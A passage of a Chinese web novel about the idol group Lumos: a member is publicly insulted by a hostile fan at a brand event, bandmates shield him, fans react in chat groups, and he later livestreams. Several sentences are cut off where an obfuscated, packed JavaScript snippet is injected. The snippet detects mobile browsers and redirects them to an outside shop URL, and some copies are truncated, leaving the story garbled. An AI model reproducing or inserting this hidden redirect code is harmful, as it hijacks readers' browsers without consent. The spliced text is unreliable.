梁姐等他们看得差不多了,继续说:“现在的情况是,你们俩的粉丝群体对立情绪被激化了。陈醒松的粉丝觉得你胳膊肘往外拐,京殊的粉丝觉得陈醒松的粉丝无故骂人。CP粉在中间搅浑水。路人觉得你们团队内部戏真多。” 陈醒松毫不在意,把手机随意的扔在沙发上:“无所谓,她们爱怎么吵怎么吵。” 说什么呢这个死陈醒松,许京殊头疼。 默默肘了他一下,放下手里的手机,态度诚恳:“梁姐,现在怎么处理比较好?” 陈醒松挨了一下,把嘴闭上了。 “公司建议你们合体露面一次。”梁姐慢条斯理的提出解决方法,“周六不是有个品牌站台活动吗?全员参加。现在需要你们在活动上表现得自然一点。既不能太生疏,也不能太亲密,怕刺激到双方的唯粉。” “就是正常队友相处呗。”陈醒松靠在沙发靠垫上,长腿无处安放。 “对,正常队友。”梁姐加重语气,瞪了陈醒松一眼,“现在所有人都在拿着放大镜看你们的一举一动。所以今天的每一句话、每一个动作,都要注意。” 她又交代了一些细节,然后起身:“我先去活动现场跟主办方沟通。你们俩,好好准备。记住,自然,但要有分寸。” 梁姐走了,公寓里安静下来。 陈醒松瘫在沙发上,吐出一口气,吊儿郎当的:“要挨罚喽。” “早跟你说别发。”许京殊觉得嘴巴干,起身去厨房倒水喝。 “那我总不能看着他们骂你吧。”陈醒松跟过来,靠在厨房门框上,高大的身影堵住了门,“骂得那么难听。” 许京殊倒了两杯水,看着他蔫巴的,像只被批评的狼崽一样。 伸手递给他一杯:“骂就骂,我又不会少块肉。” “我会。”陈醒松接过水,喝了一大口,“我听不得那些话。” 许京殊看着他认真帅气的脸,没说话。 过了好一会儿才说:“好歹她现在没心思管我们两个偷吃的事。” 两人相对一视,笑了。 周六一早。 许京殊洗漱换衣服。 出来时,其他队友也陆续起床了。 苏凌羽在厨房煮咖啡,看见许京殊出来:“早上好。” “早啊。”许京殊从冰箱里拿出最后一瓶牛奶,“牛奶要喝没了。” “等有时间了去采购一些。”苏凌羽把煮好的咖啡倒进杯子。 林霄衡从房间出来,已经换好了衣服:“下午活动,大家注意点。尤其是你们两个。” 他看向许京殊和陈醒松:“别刻意,但也别闹别扭。就当平常一样。” 陈醒松举手:“队长,我尽量。” “不是尽量,是必须。”林霄衡语气平静。 “知道了。”陈醒松惧怕队长的权威,只能老实点头。 周塑宁最后一个出来,一声不吭地坐到餐桌边吃早餐。 他全程低着头,但许京殊能感觉到,周塑宁的注意力其实一直在这边。 上午的时间在准备中度过。 造型团队上门做妆发,服装师带来了下午活动的衣服。 许京殊一头乌黑蓬松的短发,刘海微遮光洁额头,衬得面部轮廓愈发精致。浅灰瞳仁似氤氲着薄雾,沉静中透着疏离感。 高挺鼻梁下,唇形线条柔和,肤色是莹润的瓷白色,每一处五官比例都恰到好处,少年感和贵气糅合。 上身着浅蓝翻领衬衫,领口处银灰领带垂落,外搭剪裁修身的黑色西装,衬得许京殊身形挺拔修长。 中午简单吃了饭,一行人出发去活动现场。 活动在市中心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953292|193093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一家商场的露天广场举行。 他们到的时候,广场周围已经围满了粉丝,举着各种手幅和灯牌。 许京殊一眼就看到了写着自己名字的牌子。 下车时,按照流程,五人依次下车,跟粉丝打招呼。 许京殊走在第三个,陈醒松走在他后面。两人之间隔着一个身位,不远不近。 许京殊左右来回瞟,瞟到自己的粉丝就认真的看一下她们,然后挥手打招呼。 粉丝的喊叫声此起彼伏。 走上临时搭起的舞台,主持人在暖场。 许京殊站在自己的位置上,目光扫过台下。 他向自己范围内能看到的举着自己单人灯牌的粉丝饭撒。 像个太阳一样向粉丝们散发温暖爱意。 活动流程很常规:品牌介绍,产品展示,互动游戏,粉丝提问环节。 互动游戏是分组比赛,许京殊和林霄衡一组,陈醒松和苏凌羽一组,因为多了一个人,所以周塑宁去当裁判。 游戏内容是你画我猜,输的队伍要接受惩罚,喝一杯特调饮品。 许京殊和林霄衡这组配合默契,连胜两局,拿到赛点。 陈醒松看着许京殊抓着队长的胳膊笑的开心的样子,莫名酸酸的。也不在意输赢了。 第三局时,题目是“格斗”。许京殊想了想,两手握拳,又做了个出拳的动作。 林霄衡:“武术?” 许京殊快速摇头否定,又做了个格挡的动作。 林霄衡眯着眼思考:“打架?” 许京殊急的手忙脚乱的。 台下一片笑声。 许京殊着急了,摆出格斗的预备姿势,压低重心,双手握拳护在脸侧。 这总能猜出来了吧? “格斗!”林霄衡终于猜出来。 “啊啊啊啊,对了!”许京殊开心庆祝,跑过去贴在队长旁边,笑眼弯弯。 倒计时结束,他们险胜。 惩罚环节,陈醒松和苏凌羽需要喝下那杯颜色诡异的特调饮品。 苏凌羽面不改色地喝完了,陈醒松喝到一半脸皱成一团,引来台下大笑。 许京殊站在旁边,看着陈醒松痛苦的表情,没忍住笑出了声。他很快反应过来,用手背挡了一下嘴。 “啊啊啊啊啊老婆!!许京殊!” “老婆!老婆!!!” 就在这时,一道极其大的声音传来,撕心裂肺的。 许京殊震惊了,睁大眼睛,呆呆地扭过去寻找声音源头,一个漂亮娇小的粉丝。 许京殊有些宕机,为什么这么小的一个女生,声音这么大。 见他看过来,女生卖力的挥着手中的大王扇,上面是许京殊的照片,整个人被许许多多的钻石围着。 他露出一抹微笑,指了指这个女生,表示他听到了。 然后台下尖叫声更甚。 粉丝提问环节,主持人随机抽取了几个问题。前几个都是关于新专辑和巡演的,回答得很顺利。 最后一个问题抽到了一个戴眼镜的女生,她接过话筒,声音有点抖但是带着歇斯底里的恶意: “许京殊滚出Lumos!离陈醒松远点!你个走后门的花瓶!” 台下瞬间安静了一瞬。 7. 事故现场 保安把那个尖叫的女生带离现场时,她怒骂着开口:“别碰我!滚啊!” 整个场地像是炸开了一样,什么样的声音都有。 所有目光都钉在舞台上,恶意的、看笑话的或者是心疼的,死死钉在许京殊身上。 许京殊觉得自己是伤心的,但是现在这种情况下完全不能失态。 许京殊握着话筒的手指动了动,深呼一口气,他的表情没有之前的轻松,只剩下眼底的无措。 他听见自己平稳的声音通过音响传出去:“抱歉,出现意外情况。请大家保持秩序。” 台下开始更剧烈的骚动,有人站起来张望,有人举起手机拍摄。 许京殊能听到粉丝传来几声喊叫: “有病吧!” “保安在干什么!” 林霄衡往前迈了半步,挡在许京殊侧前方,心疼的看着他强装镇定的脸。 陈醒松直接侧过身,几乎把许京殊整个遮住,伸手去抓他死死扣住掌心的手,回头看那个极端粉丝的眼神淡漠而无情。 主持人立即反应过来,抓过话筒开始平复粉丝们的情绪,开始善后。 许京殊想理明白周遭的声响,可它们搅成一团乱麻,只听得出嘈杂,分不出字句。 他看见保安在台下维持秩序,看见工作人员快速朝舞台侧边移动,看见梁姐在后台入口处朝他们挥手。 “先下台。”林霄衡压低声音提醒。 朝后台移动,许京殊无意识跟着队长。 下台阶时,周塑宁的手在许京殊后背虚扶了一下,很快收回。 通道很短,但脚步声在狭窄空间里显得很响。许京殊能听见身后传来粉丝的喊声,有喊他名字的,也有零星的嘲笑声。 一进后台休息室,门关上,外面的声音被隔开。 梁姐已经在里面等着,她看见许京殊,立刻关心的走过来:“没事吧?” “没事。”许京殊平静的说。 林霄衡脸沉了下来:“那个粉丝怎么处理的?” “保安带出去了,报了警。”梁姐语速很急,“现在外面还有粉丝没散,我们得等一会儿才能走。车安排在地下停车场。” 苏凌羽从饮水机接了杯水递给许京殊,许京殊接过,小声地说了句谢谢,然后小口喝了一口,水是温的。 周塑宁靠在墙边,一直没说话,他盯着地面,呼吸有点重。 休息室里安静下来。 空调开得足,许京殊穿着西装外套,却觉得浑身发冷。他放下纸杯,在沙发上泄力坐下。 陈醒松继而坐在他旁边:“那女的到底怎么回事?” “初步判断是陈醒松的极端粉丝,也非常有可能是职业黑。”梁姐解释,“票是真的,抽签抽到了提问机会。我已经让公司法务跟进了。” 林霄衡看向许京殊:“你怎么样?” “我真没事。”许京殊重复。 陈醒松在他旁边轻轻碰了碰他的手:“没事你手这么凉?” 许京殊垂眸,抽回手:“吹空调吹的。” 梁姐的手机响了,她走到窗边接电话,休息室里只剩下空调运转的声音。 过了大概十分钟,梁姐挂掉电话走回来:“可以走了。从内部通道去地下停车场,车现在在等。外面还有粉丝,都别停留,下去了直接上车。” 他们收拾东西,跟着工作人员走出休息室。 通道里灯光很暗,脚步声在墙壁间回响,没人说话。 地下停车场很安静,只有零星几个粉丝在送车。 车子发动后,许京殊才缓过来开口:“今天的事,会不会影响品牌方?” “品牌方那边我去沟通。”梁姐坐在副驾驶,“你们先回公寓休息。明天上午公司开会,讨论后续处理方案。” 车子驶出停车场,汇入傍晚的车流。 苏凌羽打开车载音响,放了首舒缓的纯音乐,音乐声很小。 开了十分钟,陈醒松反应过来,凑过来说:“你刚才反应挺快的。” 许京殊看着窗外:“不然呢?跟她对吵?” “我是说你很冷静。”陈醒松认真看着他,“换我可能忍不住。” “那你明天就要上头条了。”许京殊好像恢复了平日的样子。 陈醒松笑了一声,很快收住:“说真的,你生气吗?” “气。”许京殊说,“但生气没用。” 周塑宁突然开口:“习惯了吗?” 许京殊顿了顿:“什么?” “被这么骂。”周塑宁说,“从出道开始,应该习惯了吧。” 车里安静了几秒。 苏凌羽轻声说:“不该习惯的。” 许京殊没接话,他看着窗外飞逝的街景。 回到公寓时天已经完全黑了。 梁姐没跟他们一起上楼,又叮嘱了一遍:“今晚都别发动态,别回应任何事。明天上午九点公司开会,别迟到。” 梁姐走了,五人轮流站在玄关换鞋。 林霄衡先开口:“先吃饭吧。点外卖还是自己做?” “点外卖吧。”苏凌羽拿出手机,“我没什么胃口,随便吃点。” “我也没胃口。”陈醒松说,“气饱了。” 许京殊脱下西装外套挂好:“点吧,我也吃。” 外卖点了一家粥店的套餐。等待送餐的时间,许京殊回房间换上了一套舒服的睡衣出来时,看见陈醒松已经坐在沙发上刷手机。 “梁姐不是说不让看吗?”许京殊走过去。 “忍不住。”陈醒松把手机屏幕熄灭没给他看,“热搜上了,讨论度很高。” 热搜第七位:#Lumos活动粉丝闹场# 热门微博是现场观众拍的一段视频,画面晃动,但能清晰听到那个女生的尖叫声。 评论区已经吵成一片: 【这人疯了吧?公开场合这么骂?】 【许京殊实惨,好好参加活动遇到这种事。】 【陈醒松粉丝真吓人,离正主生活远点行吗?】 【楼上别地图炮,极端粉不代表所有粉丝!】 【只有我注意到陈醒松马上挡在许京殊前面了吗?】 【队友反应都很快,林霄衡也往前站了。】 【许京殊好冷静,要是我早就哭了。】 许京殊移开目光:“别看了。” “公司声明发了。”陈醒松回忆了下刚刚看的内容,“谴责极端行为,支持依法处理,呼吁理性追星。挺官方的。” 林霄衡从房间出来:“外卖到了,开门。” 外卖员送来了晚饭。 五人围坐在餐桌边,许京殊沉默地吃饭。 餐桌上有勺子碰碗的声音,咀嚼的声音,偶尔有包装袋的窸窣声。 吃到一半,许京殊的手机响了。是妈妈打来的视频电话。 他放下勺子,走到阳台接电话。 “小殊!”妈妈的脸出现在屏幕里,眼睛红红的,“我刚看新闻,说你活动上出事了?有人骂你?” “你怎么知道的?”许京殊盯着对面的楼。 “你姨都发给我了,说都上热搜了。”妈妈的声音带着哭腔,“怎么回事啊?那人有没有伤到你?” “没伤到,保安拉走了。”许京殊轻声安抚妈妈的情绪,“妈,我没事。” “怎么能没事呢?”妈妈的声音发抖,“当着那么多人的面骂你,我儿子做错什么了?凭什么那么骂你?” 许京殊不知道该怎么回答。 电话那头传来爸爸的声音:“手机给我。” 然后爸爸的脸出现在屏幕里:“儿子,别往心里去。这种人就是心理有问题,报复社会呢。你们公司会把她处理了吧?” “会,已经报警了。” “那就好。”爸爸说,“你该吃吃该喝喝,别受影响。实在不行回家住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953293|193093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两天,爸给你炖排骨吃。” 许京殊觉得喉咙发紧眼眶发热,他清了清嗓子装没事人:“不用,我这边还有工作呢。” “工作重要还是身体重要?”爸爸急了,高声道,“反正你记着,有什么事跟家里说。别自己憋着。” “知道了。” 又说了几句,挂了电话,许京殊在阳台上站了一会儿,才回到餐厅。 “阿姨打来的?”陈醒松从他站起来那一刻就一直注意他。 “嗯。”许京殊坐下,继续喝粥。 “说什么了?”苏凌羽问。 “让我别往心里去。”许京殊说,“让我回家吃排骨。” 陈醒松笑了:“叔叔做的排骨是好吃。” 许京殊瞥他一眼:“你又没吃过。” “听你说过。”陈醒松极力回想,“你说叔叔炖的排骨特别烂,入口即化。” 许京殊愣了一下。他确实说过,但那是很久以前的事了,在一次深夜聊天时随口提的,没想到陈醒松还记得。 吃完晚饭,大家一起收拾桌子,洗碗,擦桌子,丢垃圾。 许京殊洗完澡出来时,听见有人敲门。 “进。” 门开了,陈醒松站在门口:“聊聊?” 许京殊稍抬眼睑,撞入一道墨色眼眸,眼神清明。 许京殊让他进来,陈醒松在床边坐下,许京殊坐在书桌前的椅子上。 “聊什么?”许京殊沉吟片刻。 “聊今天的事。”陈醒松犹豫开口,“你真没事?” “真没事。”许京殊柔和陈述,“就是觉得烦。好好一个活动,被她搅了。” “她骂的那些话……”陈醒松停了一下,“你别当真。” “我知道。”许京殊语调轻松,“她说的那些,我从出道听到现在。习惯了。” 陈醒松盯着他看了一会儿:“许京殊,你能不能别老说习惯。” “那说什么?”许京殊被他突如其来的批评搞的有些懵。 “说你不高兴。”陈醒松站起来,高大的身影走到他面前,弯腰盯着他,“说你觉得委屈,说你想骂人。说什么都行,别说习惯。” 许京殊抬头跟他对视。 房间里只开了台灯,光线昏暗。陈醒松声音沙哑,但眼睛很亮,眉骨很深,轮廓分明。 “我不委屈。”许京殊深思熟虑后开口,“我就是觉得烦。烦这种人,烦这种事,烦这个圈子里永远吵不完的架。” “那你就说烦。”陈醒松斩钉截铁道,“你想说什么就说什么。我们都在,没人会笑话你。” 许京殊没说话。 陈醒松在他面前蹲下来,这个姿势让许京殊必须看着他。 他掠过许京殊绯红的嘴唇,小巧精致的脸蛋,最后盯着他躲闪的眼睛。 “听我说,”陈醒松急切开口,“你是许京殊,是我们团队的一员。你不需要永远完美,不需要永远得体。不高兴了就说,难过了就表现。好的坏的我们都一起担。” 许京殊看着陈醒松的眼睛,眼眸中藏着一丝他看不懂的情绪。 “知道了。”许京殊眨巴眨巴着眼睛。 “真知道了?” “真知道了。” 陈醒松站起身来,影子将他整个人笼罩在下面:“那就好。早点睡,明天还要去公司开会。” 他走到门口,又回头看他:“对了,梁姐给我发了条消息。” “骂你了?” “没。”陈醒松笑了,“说我今天挡在你前面,很有责任感。” “今天很帅。”许京殊夸赞他。 陈醒松笑着走了,轻轻带上门。 许京殊坐在椅子上,很久没动。 其实有点想哭,但没哭。 不能哭。 爸妈担心。 朋友劝导。 明天还要去公司开会。 睡吧。 8. 粉丝视角 半夜,熬夜玩手机的女生看着屏幕中可爱漂亮的自担,整个人散发出母爱的光辉。她完全不在意明天的早八是否起得来,一味的沉浸在欣赏她家老婆美貌的愉悦中。 妻子的美貌,丈夫的荣耀! 突然,手机屏幕上方弹出多条消息。 是wb官方粉丝群。 女生无意中看了一眼,瞬间激动的从床上坐了起来,手指抖得都打不对字。 【殊宝重度依赖:“许京殊有线下活动了?”】 消息发出去后,瞬间被几十条消息盖了过去,但丝毫不影响她的喜悦和激动。 【啊啊啊啊啊啊,啊啊啊啊啊线下活动欸!】 【你们去不去?】 【去!】 【这次一定要去,上次因为要考试错过了亲亲老婆,这次我一定要见他一面。】 【好啊好啊!刚好我最近搞了好多自印,线下遇到了记得和我相认啊,我给你们发物料。】 女生们隔着屏幕,最后只剩下重复肯定要去的决心。 女生翻身趴在床上,开心的晃悠着小腿,脑海里开始思考第一次追线下要带的东西。 应援肯定要带,还要搞点小礼物,最重要的是可以见到老婆了,那真是太棒了…… 周六,女生挤在商场的人群里,手心全是汗,她手里举着许京殊的大王扇,包上挂着许京殊的同人娃,化着美美的妆等待第一次线下和老婆的相遇。 周围全是粉丝,尖叫声,聊天声。商场空调开的很足,但女生还是挤出一身汗。 不知过了多久。 “来了来了!”人群中有人大喊,又是一阵骚动。 女生抬头看去,第一个上台的是队长,接着是苏凌羽,然后许京殊出来了。 一身正装,漂亮又贵气。 在他出现的那一刻,女生连呼吸都要忘记了,完全无视了除老婆以外的任何人。 脑子里满满都是:老婆你好漂亮,你好美! 旁边的人尖叫:“老公!苏霄衡!” 女生不甘示弱,边挥舞许京殊的大王扇边尖叫: “老婆啊啊啊,京殊老婆!” “老婆!看这边!” 这玩意儿可是她花了大价钱和时间搞的,上面的亮钻都是她一颗一颗粘上去的,保准是这一片最亮眼的。 活动怎么开始的她完全不知道,自从许京殊出现的那一刻,她的注意力和她的手机镜头一直追随着他。 如果她把镜头对准自己的话,就会发现原来见到喜欢的人眼睛真的会亮晶晶的。 许京殊站在台上清楚地感受到,喜欢,真的可以透过眼神来传递。 他努力的给予他视野范围内的所有他的粉丝回应。 惩罚环节,陈醒松喝那杯颜色奇怪的饮料,脸皱成一团。 许京殊站在旁边看着,突然笑出声,然后马上用手背挡嘴。 那个瞬间女生抓拍到了,照片里许京殊眼睛弯弯的,特别好看。 她这个时候很想让许京殊看到她,于是撕心裂肺的叫了两声: “啊啊啊啊啊老婆!!许京殊!” “老婆!老婆!!!” 她看到许京殊被吓了一跳,下意识的寻找声音源头,她挥舞着手里的应援。 许京殊笑了一下,用手指了指着她,表示自己听到了。 她激动的快要哭了的出来,为了看到自己喜欢的人,碰了好多壁才找到这里。 她一边听着主持人Q流程一边在粉丝群里发消息: 【今天的现场!京殊状态超级好!他看到我的应援了,还对我笑了。】 【不过我喊的是老婆哈哈哈。】 群里立刻刷屏: 【许京殊硬了一辈子的腰碰到你们瞬间就软了。】 【哈哈哈我看到有站姐发了视频,应该是你吧姐妹,声音真的超级大。他听到你喊他老婆的时候脸都皱成包子脸了。】 【多发点照片!】 【羡慕能去现场的姐妹!】 【他穿西装好好看!】 台上最后一个问题的时候。 一个戴眼镜的女生接过话筒,女生看老婆看的正开心,没听清她说了什么。但下一秒,女生的声音突然拔高,刺耳地穿透整商场: “许京殊滚出Lumos!离陈醒松远点!你个走后门的花瓶!” 时间好像静止了。 女生举着手机的手僵住了。 她第一时间看的是舞台上的许京殊。他握着话筒没动,她看见陈醒松立刻侧身挡在他前面,看见保安从四面八方朝那个女生冲过去。 周围先是死寂,然后炸开。 “有病吧?!” “保安!把她拉出去!” “凭什么骂人?!” 她似乎听到了旁边的带着恶意的窃窃私语: “活该。” “早该骂他了。” “姐妹好嘴!” 女生站在原地,浑身发冷。 她看着那个女生被两个保安架着胳膊往外拖,女生还在挣扎,嘴里喊着什么,但声音已经传不过来了。 她眼睁睁的看着喜欢的人受尽委屈离场。 保安大声喊着请大家有序离场,但很多人还站在原地,朝舞台方向看。 她听见旁边两个女生在哭: “她凭什么那么说京殊……” “京殊做错什么了……” 女生收起手幅,把手机塞进口袋。她跟着人流慢慢往外走,脑子里嗡嗡的。 虽然她入坑没多久,但其实她是知道一些的,许京殊出道以来挨了不少骂,京粉们个个被逼得做饭战斗两手抓,不少好厨子岁月静好时安心做饭,一旦许京殊被欺负了便化为炊事班的厨子,拎起锅铲就开干。 可线下遇到这种事情还是第一次。 她打开手机,刚刚一片和谐舔屏的氛围已经快速消散。 【怎么回事?现场出什么事了?】 【有人骂京殊!我听到了,骂得特别难听!】 【我录下来了!等我传视频!气的我的手都在抖。】 【那个女的是陈醒松粉丝吧?疯了吧?】 【保安把她拉走了,京殊没事吧?】 她慢慢打字:【我在现场呢。京殊没事,就是那个女的说话很难听。】 【妈的,气死我了!】 【我老婆凭什么要受这种委屈?】 【公司呢?保安呢?怎么让这种人混进来的?】 【热搜上了!快去看!】 热搜第七位:#Lumos活动粉丝闹场# 【公司发声明了,说会依法处理。】 【就该告她!公开场合辱骂,够得上寻衅滋事了。】 【姐妹们,现在怎么办?】 【还能怎么办?洗广场啊!别让那些黑子乱说话。】 【对!做反黑!截 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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女生点开超话,果然看到置顶的整理帖。帖子详细记录了事件经过,附上了已打码的现场视频、公司声明截图。 【辛苦了,抱抱。】 【我老婆那么好,凭什么要受这种委屈?】 【我老婆一回来就躲在我怀里哭,天杀的原来是这个混蛋欺负他了!】 女生转发帖子,配文【相信公司会处理。我们专注支持京殊就好。】 群里有人问:【京殊现在怎么样了?有人知道吗?】 没人回答。 过了一会儿,有人发了张照片。照片很糊,是从很远的地方拍的,能看见保姆车驶出地下停车场。 【车走了,他们回去了。】 【希望京殊没事。】 女生关掉手机,揉了揉眼睛。她觉得累,不是身体累,是心里累。 她从早上就开始期待今天的活动,特地坐了三个小时车来这个城市。她想象过无数种见到许京殊的场景,想过要喊什么口号,要拍多少照片,要怎么跟群里姐妹分享。 但她没想过会是这样的结局,她包的物料还没送出去,她本来打算结束了遇到一个同担就给出去一份的。 她挪动着没知觉的双腿回到今天晚上要住的酒店,打算明天坐车回学校。 因为是学生党,订的酒店离市中心很远,所以回去的时候天早就黑了。 叮咚,wb特别关心提示音响起。 已经十点半了,许京殊居然开了直播。 她趴在酒店的床上点开直播。 扑面而来的是一张素到极致又清纯的脸,穿着家居服,开着盏小台灯。 眼睛亮晶晶的,趴在桌子上无聊的盯着镜头看。 “欢迎大家啊,和你们聊聊天。” 9. 直播 许京殊的直播画面很简洁。 他趴在桌上,下巴搁在交叠的手臂上,头发有点乱,穿着浅灰色的家居服。台灯的光从侧面照过来,在他脸上投下柔和的影子。 “怎么不说话呀?”许京殊轻声念了一条弹幕。 “因为现在粉丝们还没有全部进来,我们耐心等等,还有好多人没反应过来,我们等人来的差不多了再开始吧。”季茗笑眼弯弯,轻声安抚。 弹幕瞬间刷过一片。 【知道了。】 【老婆晚上好呀!】 【好的好的!】 粉丝们不会主动在评论里提那些不开心的事情,都在絮絮叨叨的分享自己的生活。 【作业好多,老婆你能不能帮我写!】 【今天是我生日哦,老婆可以祝我生日快乐吗?】 【老婆我跟你说,今天我上了一天的班,好累!】 许京殊就这么认真的安静地看着粉丝们吐槽的小烦恼。 过了两分钟,人越来越多,礼物特效被刷的满天飞。 “不要给我送礼物啦,我想和你们聊聊天,礼物特效都把评论区全盖住了。”许京殊无意识撒娇。 惹得弹幕一阵姨母笑。 【好可爱啊!】 【怎么还撒娇呢,不送了,我不送了。】 “我刚刚看到一条弹幕,她说今天是她的生日,那我就祝所有今天过生日的宝宝们生日快乐,天天开心。”许京殊双手合十,一副虔诚的样子。 “还有就是,自己的作业自己写,要好好学习。” “上班啊,我也不想上班,上班确实很累,不过我们要坚持。” “我们现在要干什么呢?”许京殊轻声呢喃。 弹幕开始刷各种要求:【唱歌!】【讲冷笑话!】【跳舞!】 许京殊看了会儿弹幕,然后说:“唱首歌吧。那我随便唱了。” 他清了清嗓子,没伴奏,就清唱。 是一首很温柔的慢歌,许京殊的声音清澈干净,在安静的直播间里流淌。他唱得很投入,眼睛微微垂着,睫毛在灯光下投出细小的影子。 唱完一段,他抬眼看弹幕反应:“就唱到这里吧,我就只会这几句。” 弹幕已经疯了: 【好好听!】 【好温柔】 【老婆声音杀我。】 “不过我有一个问题,早就想问你们了,为什么都叫我老婆呢?” 【别管。】 【就叫!】 【老婆就是老婆啊,该怎么过你说呢。】 “今天也是,我听到你们喊我了。” 弹幕看到许京殊主动提起,也憋不住了。 【老婆你不要伤心,下次遇到这种事情我不会再愣在那儿了,我会第一时间上去撕烂他们的嘴。】 【哭哭脸。】 【老婆你受委屈了。】 【老婆别难过,我们一直都在。】 “小姑娘家家的,怎么这么凶残。”季茗看到要撕烂别人嘴巴的弹幕,出言阻止残暴言论。 许京殊看着屏幕,等弹幕滚过去,才继续说:“我没事,真的。就是想跟你们说说话。” 他又停了一下,好像在想该说什么。 “其实……”他坐直身体,“其实我有点生气。不是气她骂我,是气她打乱了今天的活动。本来可以好好跟你们见面的。” 弹幕开始有人发哭泣的表情。 “别哭啊。”许京殊说,“我就是想告诉你们,我没那么脆弱。这些话我听过很多次了,不会因为一个人说了就怎么样。” 他顿了顿,补充道:“但我还是想说,谢谢今天在现场的你们。谢谢你们喊我的名字,谢谢你们举的手幅,谢谢那个做了大王扇的粉丝,我看到了,真的很闪,很用心。” 女生趴在酒店床上,看着屏幕里许京殊认真的脸,眼泪突然就掉下来了。她赶紧抽了张纸巾擦眼睛。 “还有。”许京殊继续说,“我知道你们一直在维护我,帮我去反击那些骂我的人。谢谢。但你们也要照顾好自己,别熬夜,别因为那些话生气,不值得。” 弹幕刷得更快了: 【值得!你值得!】 【我们就是要保护你!】 【老婆别说了我要哭了】 许京殊笑了,笑的很好看:“好,不说这个了,聊聊别的吧。” “脸为什么那么红?”许京殊用手捂了捂脸,然后突然凑近镜头,侧脸仔细的看自己。 简直是美颜暴击。 弹幕一阵。 【啊啊啊啊啊,啊啊啊啊!】 【啊啊啊啊啊啊。】 【好可爱啊,呆呆地像一只小狗。】 “因为我刚刚喝了一小杯,就那么一小杯酒。”许京殊拿手比划了一下,有些臭屁,“就小酌了一杯。” 许京殊看了会儿弹幕,发现了一些不和谐的言论:“我们关系没有你们想的那么差的,一起经历了那么多,发生什么事情都是我们一起面对。” 他说这话时语气很平静,就像在说一件很普通的事。 “还有队长,还有三哥,还有老幺。他们都很好。”许京殊说,“所以你们不用担心我。我有朋友,有你们,很好的。” 直播进行了大概二十分钟。许京殊又回答了几个粉丝的问题,关于新专辑的进度,关于巡演的计划,关于他最近在练的舞蹈。 能回答的他都答得很认真,语气轻松。 最后他说:“今天就这样吧。你们早点睡,别熬夜。我也要睡了,明天还有练习。” “还有,今天来看我的粉丝,可能有人是从很远的地方来的,你们回家一定要小心,注意安全啊。” 他对着镜头挥挥手:“晚安。” 直播结束了。 女生盯着黑掉的屏幕,愣了很久。然后她切回粉丝群。 群里已经炸了: 【他开直播了你们看到了吗!】 【看到了!他说谢谢我们!】 【他说他很好,让我们别担心】 【我要哭了,他怎么这么好啊】 【那个清唱!声音真的好好听!】 【今天许京殊真的好臭屁啊,怎么这么可爱。】 【他真的好温柔。】 群主发消息: 【姐妹们,京殊虽然这么说了,我们更要打起精神来。反黑继续做,数据继续做,但别熬夜,听他的话。虽然他说了但是队友粉不会听的,在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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第二天早上七点,许京殊被闹钟吵醒。 头疼。 他坐起来,揉了揉太阳穴。昨晚那杯酒的威力还在,脑袋晕晕的。他下床,脚步有些虚浮地走进卫生间,用冷水又洗了把脸。 镜子里的人脸色有点苍白,眼下有淡淡的青黑。 “自作自受。”他对自己说,不会喝酒还硬喝。 洗漱完换好衣服走出房间,客厅里已经有人了。 林霄衡坐在餐桌前看平板,面前摆着咖啡。听见动静,他抬起头:“醒了?头疼吗?” “有点。”许京殊老实承认。 “梁姐说你昨晚喝酒开直播了。”林霄衡的语气很平静,听不出情绪。 “嗯。”许京殊走到厨房倒水,“就一小杯。” “下次别喝了。”林霄衡说,“至少开直播前别喝,上次你喝完晕死过去了吓我们一跳。” “知道了队长。” 苏凌羽从房间出来,看见许京殊,笑了:“昨晚直播我看了。歌唱得挺好的。” “就是脸红得跟什么似的。”苏凌羽走到他旁边,伸手碰了碰他的额头。 陈醒松走到他面前,盯着他看了几秒:“脸还红呢。” “一会儿就消了。” 10. 你是不是讨厌我 许京殊忙的要死,早上要去公司开会,下午要留在那里泡练习室。 早上九点半,五人准时坐在公司会议室里。 长桌对面坐着梁姐和艺人管理部的负责人赵总监。 空气很安静。 赵总监推了推眼镜,打开面前的文件夹:“今天叫大家来,主要说两件事。” 许京殊坐直了些,有些心虚。 “第一件事情,”赵总监看向陈醒松,“关于你上周擅自发布动态,提及队友的事。” 陈醒松立刻低下头,装作愧疚的样子:“我知道错了。” “公司规定很明确,所有社交媒体内容必须提前报备审核。”赵总监语气严肃,“你的行为不仅违反了规定,还引发了粉丝群体间的矛盾,给团队形象造成了负面影响。” “罚款五千,用来给团队发福利。”赵总监说,“有异议吗?” 他们的罚款一般不会给公司,基本上都是在工作群里发拼手气红包用来给工作人员发福利。 当然,陈醒松是群里发红包的常客了。 陈醒松手肘搭在椅背:“没有。该罚。” “第二件事情。”赵总监的目光转向许京殊,“关于你昨晚未经报备开直播,并且饮酒后出镜的事。” 许京殊手心有点出汗。 